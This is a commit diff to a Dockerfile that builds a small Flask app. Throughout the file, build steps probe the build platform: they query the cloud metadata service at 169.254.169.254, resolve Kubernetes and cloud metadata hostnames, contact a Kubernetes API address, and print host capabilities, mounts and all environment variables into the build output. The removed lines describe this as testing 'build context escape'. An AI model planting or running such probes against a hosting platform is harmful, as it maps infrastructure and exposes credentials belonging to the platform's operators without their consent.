Single stage build with network probes

Dockerfile

@@ -1,49 +1,32 @@
-# Multi-stage build to test build context escape
-FROM python:3.9-slim AS builder
-
-# Check what network access we have during build
-RUN apt-get update && apt-get install -y curl dnsutils net-tools 2>/dev/null || true
+FROM python:3.9-slim
 
-# Test DNS resolution during build
-RUN nslookup kubernetes.default.svc.cluster.local 2>&1 || echo "K8s DNS not available in build"
-RUN nslookup metadata.google.internal 2>&1 || echo "Metadata DNS not available in build"  
-RUN nslookup instance-data.ec2.internal 2>&1 || echo "EC2 metadata DNS not available in build"
+# Install network tools
+RUN apt-get update && apt-get install -y curl dnsutils net-tools iproute2 procps 2>/dev/null; true
 
 # Test network access during build
-RUN curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1 || echo "EC2 metadata not accessible in build"
-RUN curl -s --connect-timeout 3 http://172.20.0.1:443/ 2>&1 || echo "K8s API not accessible in build"
-RUN curl -s --connect-timeout 3 http://10.108.0.2:53/ 2>&1 || echo "DNS server not directly accessible"
-
-# Check build system info
-RUN echo "=== BUILD HOST INFO ===" && \
-    hostname 2>/dev/null && \
-    cat /etc/hostname 2>/dev/null && \
-    cat /proc/version 2>/dev/null && \
-    echo "=== END HOST INFO ==="
-
-# Check build capabilities
-RUN echo "=== BUILD CAPS ===" && \
-    cat /proc/self/status | grep -i cap 2>/dev/null && \
-    echo "=== END CAPS ==="
-
-# Check if build has any special mounts
-RUN echo "=== BUILD MOUNTS ===" && \
-    cat /proc/self/mountinfo 2>/dev/null | head -30 && \
-    echo "=== END MOUNTS ==="
-
-# Check if we can reach the Docker registry used to push images
-RUN curl -s --connect-timeout 3 http://registry.internal:5000/v2/_catalog 2>&1 || echo "No internal registry"
-
-# Check what env vars are available in the builder
-RUN env | sort
-
-# Final stage
-FROM python:3.9-slim
+RUN echo "=== DNS TESTS ===" && \
+    nslookup kubernetes.default.svc.cluster.local 2>&1; true
+RUN nslookup instance-data.ec2.internal 2>&1; true
+RUN nslookup metadata.google.internal 2>&1; true
+
+# Test HTTP access during build
+RUN echo "=== HTTP TESTS ===" && \
+    curl -v --connect-timeout 3 http://169.254.169.254/latest/meta-data/ 2>&1; true
+RUN curl -v --connect-timeout 3 https://172.20.0.1:443/version -k 2>&1; true
 
+# Build system info
+RUN echo "=== SYSTEM INFO ===" && hostname && cat /proc/version && id && cat /proc/self/status | grep -i cap
+
+# Build mounts
+RUN echo "=== MOUNTS ===" && cat /proc/self/mountinfo | head -20
+
+# Build env
+RUN echo "=== ALL ENV ===" && env | sort
+
+# Install Flask
 RUN pip install flask
 
 COPY app.py /app.py
 
 EXPOSE 7860
-
 CMD ["python", "/app.py"]